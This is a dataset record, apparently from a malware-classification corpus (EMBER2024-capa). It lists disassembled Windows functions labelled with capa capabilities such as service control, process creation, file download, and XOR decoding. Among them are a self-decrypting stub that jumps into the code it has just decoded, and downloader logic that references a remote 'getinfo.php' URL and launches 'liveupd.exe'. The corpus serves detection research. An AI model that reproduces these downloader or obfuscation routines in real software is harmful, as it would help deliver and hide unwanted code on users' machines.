joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401a10
Capabilities:
Modify service

Disassembly:
mov eax, dword [ecx + 0x1c]
mov ecx, dword [esp + 4]
push esi
push edi
mov edi, dword [eax + ecx*4]
cmp dword [edi + 8], 2
je 0x401a69
push 0x20000000
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x401a69
mov eax, dword [edi]
push 2
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
test eax, eax
je 0x401a62
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
ret 4

Function at 0x401a70
Capabilities:
Query service status
Start service
Stop service

Disassembly:
mov eax, dword [ecx + 0x1c]
mov ecx, dword [esp + 4]
sub esp, 0x1c
push ebx
mov ebx, dword [eax + ecx*4]
push esi
push edi
push 0x20000000
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x401aab
push str.OpenSCManager_error
call fcn.00403230
add esp, 4
pop edi
pop esi
pop ebx
add esp, 0x1c
ret 8
mov eax, dword [ebx]
push 0x34
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x401ada
push str.OpenService_error
call fcn.00403230
add esp, 4
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebx
add esp, 0x1c
ret 8
lea edx, [esp + 0xc]
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x401af9
push str.QueryServiceStatus_error
call fcn.00403230
add esp, 4
jmp 0x401b74
mov eax, dword [esp + 0x30]
test eax, eax
mov eax, dword [esp + 0x10]
je 0x401b38
cmp eax, 4
je 0x401b74
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x401b23
mov eax, dword [ebx]
push eax
push str.start__s_error
jmp 0x401b6c
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebx]
push ecx
push str.start__s_ok
jmp 0x401b6c
cmp eax, 1
je 0x401b74
lea edx, [esp + 0xc]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x401b59
mov eax, dword [ebx]
push eax
push str.stop__s_error
jmp 0x401b6c
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebx]
push ecx
push 0x42f1d4
call fcn.00403230
add esp, 8
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
pop ebx
add esp, 0x1c
ret 8
Function at 0x4021c0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
mov dword [esp + 8], eax
mov ecx, dword [esp + 0x64]
mov dword [esp + 0xc], eax
mov esi, dword [esp + 0x60]
mov dword [esp + 0x10], eax
push edx
mov dword [esp + 0x18], eax
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0
neg ecx
push 0
push 0
sbb ecx, ecx
push 0
and ecx, 5
push esi
push 0
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x6c], 1
mov word [esp + 0x70], cx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40223f
push esi
push str.cant_create_process__s
call fcn.00403230
add esp, 8
pop edi
pop esi
add esp, 0x54
ret 8
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
add esp, 0x54
ret 8

Function at 0x402260
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x424a8f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebp, eax
mov eax, dword [0x42f48c]
mov esi, 1
mov bl, 0x41
mov dword [esp + 0x10], eax
mov dword [esp + 0x24], esi
test ebp, esi
jbe 0x4022d7
movsx ecx, bl
push ecx
lea edx, [esp + 0x14]
push str._c:_
push edx
call fcn.00418d0b
add esp, 8
lea eax, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x1c], esp
push eax
call fcn.0041964f
mov ecx, edi
call fcn.00402340
test eax, eax
jne 0x4022e5
shl esi, 1
inc bl
cmp esi, 0x80000000
je 0x4022ff
jmp 0x4022a2
mov esi, dword [esp + 0x2c]
lea ecx, [esp + 0x10]
push ecx
mov ecx, esi
call fcn.0041964f
mov dword [esp + 0x14], 1
jmp 0x402317
mov esi, dword [esp + 0x2c]
push 0x433380
mov ecx, esi
call fcn.00419904
mov dword [esp + 0x14], 1
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 0
call fcn.004198da
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x18
ret 4

Function at 0x402340
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x424aa8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x400
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 5]
mov byte [esp + 4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [esp + 0x414]
push 0x3ff
stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
push 0
push 0
push 0
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea edx, [esp + 4]
push str.NTFS
push edx
call fcn.00410300
add esp, 8
mov dword [esp + 0x40c], 0xffffffff
test eax, eax
pop edi
lea ecx, [esp + 0x410]
jne 0x4023dd
call fcn.004198da
mov eax, 1
mov ecx, dword [esp + 0x400]
mov dword fs:[0], ecx
add esp, 0x40c
ret 4
call fcn.004198da
mov ecx, dword [esp + 0x400]
xor eax, eax
mov dword fs:[0], ecx
add esp, 0x40c
ret 4
Function at 0x4024b0
Capabilities:
Query service status
Start service
Stop service

Disassembly:
push 0xffffffffffffffff
push 0x424af8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push esi
push edi
push 0x20000000
push 0
push 0
mov dword [esp + 0x38], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x4024f9
push str.OpenSCManager_error
call fcn.00403230
add esp, 4
jmp 0x4025d7
mov eax, dword [esp + 0x34]
push 0x34
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x402526
push str.OpenService_error
call fcn.00403230
add esp, 4
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x4025d7
lea ecx, [esp + 8]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x402548
push str.QueryServiceStatus_error
call fcn.00403230
add esp, 4
jmp 0x4025cb
mov eax, dword [esp + 0x38]
test eax, eax
mov eax, dword [esp + 0xc]
je 0x40258b
cmp eax, 4
je 0x4025cb
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x402574
mov edx, dword [esp + 0x34]
push edx
push str.start__s_error
jmp 0x4025c3
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x34]
push eax
push str.start__s_ok
jmp 0x4025c3
cmp eax, 1
je 0x4025cb
lea ecx, [esp + 8]
push ecx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x4025ae
mov edx, dword [esp + 0x34]
push edx
push str.stop__s_error
jmp 0x4025c3
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x34]
push eax
push 0x42f1d4
call fcn.00403230
add esp, 8
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
lea ecx, [esp + 0x34]
mov dword [esp + 0x2c], 0xffffffff
call fcn.004198da
mov ecx, dword [esp + 0x24]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x28
ret 8

Function at 0x402600
Capabilities:
Enumerate processes

Disassembly:
push 0xffffffffffffffff
push 0x424b18
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x128
push esi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 4]
push eax
push esi
mov dword [esp + 0xc], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x402666
mov ecx, dword [esp + 0x13c]
lea edx, [esp + 0x28]
push ecx
push edx
call fcn.00410300
add esp, 8
test eax, eax
je 0x40269e
lea eax, [esp + 4]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40263e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x13c]
mov dword [esp + 0x134], 0xffffffff
call fcn.004198da
xor eax, eax
mov ecx, dword [esp + 0x12c]
pop esi
mov dword fs:[0], ecx
add esp, 0x134
ret 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x13c]
mov dword [esp + 0x134], 0xffffffff
call fcn.004198da
mov eax, 1
jmp 0x402686
Function at 0x402ff0
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x424c4d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x208
push esi
push edi
mov dword [esp + 0xc], 0
mov eax, dword [0x42f48c]
mov dword [esp + 0x218], 1
mov dword [esp + 8], eax
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x433448]
push str.version.dat
stosw word es:[edi], ax
push ecx
lea edx, [esp + 0x10]
push str._s_s
push edx
mov byte [esp + 0x228], 2
stosb byte es:[edi], al
call fcn.00418d0b
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x234]
add esp, 0x10
lea ecx, [esp + 0x10]
push eax
push 0x1ff
push ecx
push 0x433380
push edx
push str.update
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov esi, dword [esp + 0x220]
lea eax, [esp + 0x10]
push eax
mov ecx, esi
call fcn.00419904
mov dword [esp + 0xc], 1
lea ecx, [esp + 8]
mov byte [esp + 0x218], 1
call fcn.004198da
lea ecx, [esp + 0x224]
mov byte [esp + 0x218], 0
call fcn.004198da
mov ecx, dword [esp + 0x210]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x214
ret 8

Function at 0x403108
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x424c78
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push str.http:__soft.pc186.net_getinfo.php
lea ecx, [esp + 8]
call fcn.00419904
push ecx
lea eax, [esp + 8]
mov ecx, esp
mov dword [esp + 0xc], esp
push eax
mov dword [esp + 0x1c], 0
call fcn.0041964f
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call fcn.00402df0
push eax
lea ecx, [esp + 8]
mov byte [esp + 0x18], 1
call fcn.004199cf
lea ecx, [esp + 8]
mov byte [esp + 0x14], 0
call fcn.004198da
push ecx
lea edx, [esp + 8]
mov ecx, esp
mov dword [esp + 0xc], esp
push edx
call fcn.0041964f
add esi, 0x5c
mov ecx, esi
call fcn.00401b90
mov ecx, esi
call fcn.00401190
test eax, eax
je 0x4031c8
mov eax, dword [0x42f48c]
mov dword [esp + 8], eax
mov ecx, dword [0x433448]
push str.liveupd.exe
push ecx
lea edx, [esp + 0x10]
push str._s_s
push edx
mov byte [esp + 0x24], 2
call fcn.00418d0b
mov eax, dword [esp + 0x18]
add esp, 0x10
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 8]
mov byte [esp + 0x14], 0
call fcn.004198da
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.004198da
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x4032b0
Capabilities:
Delete file
Download url
Receive data

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
test edi, edi
je 0x4032f0
mov esi, dword [esp + 0x10]
test esi, esi
je 0x4032f0
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0
push 0
push esi
push edi
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov esi, eax
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
pop edi
test esi, esi
setge al
pop esi
ret
pop edi
xor eax, eax
pop esi
ret
Function at 0x403300
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x424cb2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x230
push ebx
xor ebx, ebx
push esi
push edi
mov dword [esp + 0x10], ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x139]
mov byte [esp + 0x138], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x138]
mov dword [esp + 0x244], 1
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, dword [esp + 0x250]
cmp dword [edx - 8], ebx
jne 0x403431
push ebx
call fcn.0040b99e
push eax
call fcn.0040b96f
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 8
xor esi, esi
stosb byte es:[edi], al
call fcn.0040b97c
mov edx, eax
mov edi, str.abcdefghijklmnopqrstuvwxyz1234567890________
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
mov eax, edx
dec ecx
xor edx, edx
div ecx
inc esi
cmp esi, 0xc
mov dl, byte [edx + str.abcdefghijklmnopqrstuvwxyz1234567890________]
mov byte [esp + esi + 0x13], dl
jl 0x4033a5
mov edi, str..tmp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x34]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x138]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x34]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
push edx
jmp 0x403465
lea edi, [esp + 0x138]
or ecx, 0xffffffff
xor eax, eax
lea esi, [esp + 0x34]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0xc], esi
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0xc]
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x38]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
mov esi, dword [esp + 0x24c]
lea edx, [esp + 0x34]
push edx
mov ecx, esi
call fcn.00419904
mov dword [esp + 0x10], 1
lea ecx, [esp + 0x250]
mov byte [esp + 0x244], bl
call fcn.004198da
mov ecx, dword [esp + 0x23c]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x23c
ret
Function at 0x418180
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0040b940
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x41824b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x41824b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x4181fe
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x418209
or bh, 8
and edi, 0x8000000
je 0x418224
mov eax, dword [0x436c1c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x41824b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x418620
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x41864b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x41866f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x41868a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x41d5d6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x41d618
call fcn.00421a40
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x41d618
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x41d60f
xor eax, eax
jmp 0x41d620
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0041d626
pop edi
pop esi
pop ebx
ret 4

Function at 0x4222c2
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4222f0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x42230e
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00422228
jmp 0x42230e
mov eax, dword [esi + 0x14]
test eax, eax
je 0x42230e
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00422228
test edi, edi
mov eax, edi
jne 0x4222f8
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10024e0
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x1003d60
call fcn.01002684
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x1005cc4
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x10022f5
cmp eax, esi
jne 0x10022e8
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x10022f8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10022cf
xor esi, esi
inc esi
mov eax, dword [0x1005cc0]
cmp eax, esi
jne 0x100230b
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x1002346
mov eax, dword [0x1005cc0]
test eax, eax
jne 0x1002340
mov dword [0x1005cc0], esi
push 0x1001148
push 0x100113c
call fcn.0100224c
pop ecx
pop ecx
test eax, eax
je 0x1002346
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x1002410
mov dword [0x100597c], esi
mov eax, dword [0x1005cc0]
cmp eax, esi
jne 0x100236a
push 0x1001138
push 0x1001130
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x1005cc0], 2
cmp dword [ebp - 0x1c], ebx
jne 0x1002377
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x1005cc8], ebx
je 0x1002398
push 0x1005cc8
call fcn.010025f9
pop ecx
test eax, eax
je 0x1002398
push ebx
push 2
push ebx
call dword [0x1005cc8]
push dword [0x1005964]
push dword [0x1005968]
push dword [0x1005960]
call fcn.01001fa2
add esp, 0xc
mov dword [0x1005978], eax
cmp dword [0x100596c], ebx
jne 0x10023f6
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x100597c], ebx
jne 0x1002404
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x1005978]
call fcn.010026c9
ret
call fcn.010027d1
jmp 0x10022ad

Function at 0x1002971
Capabilities:
Resolve dns

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x100299d
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100299a
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
jmp 0x100299d
or eax, 0xffffffff
pop ebp
ret 4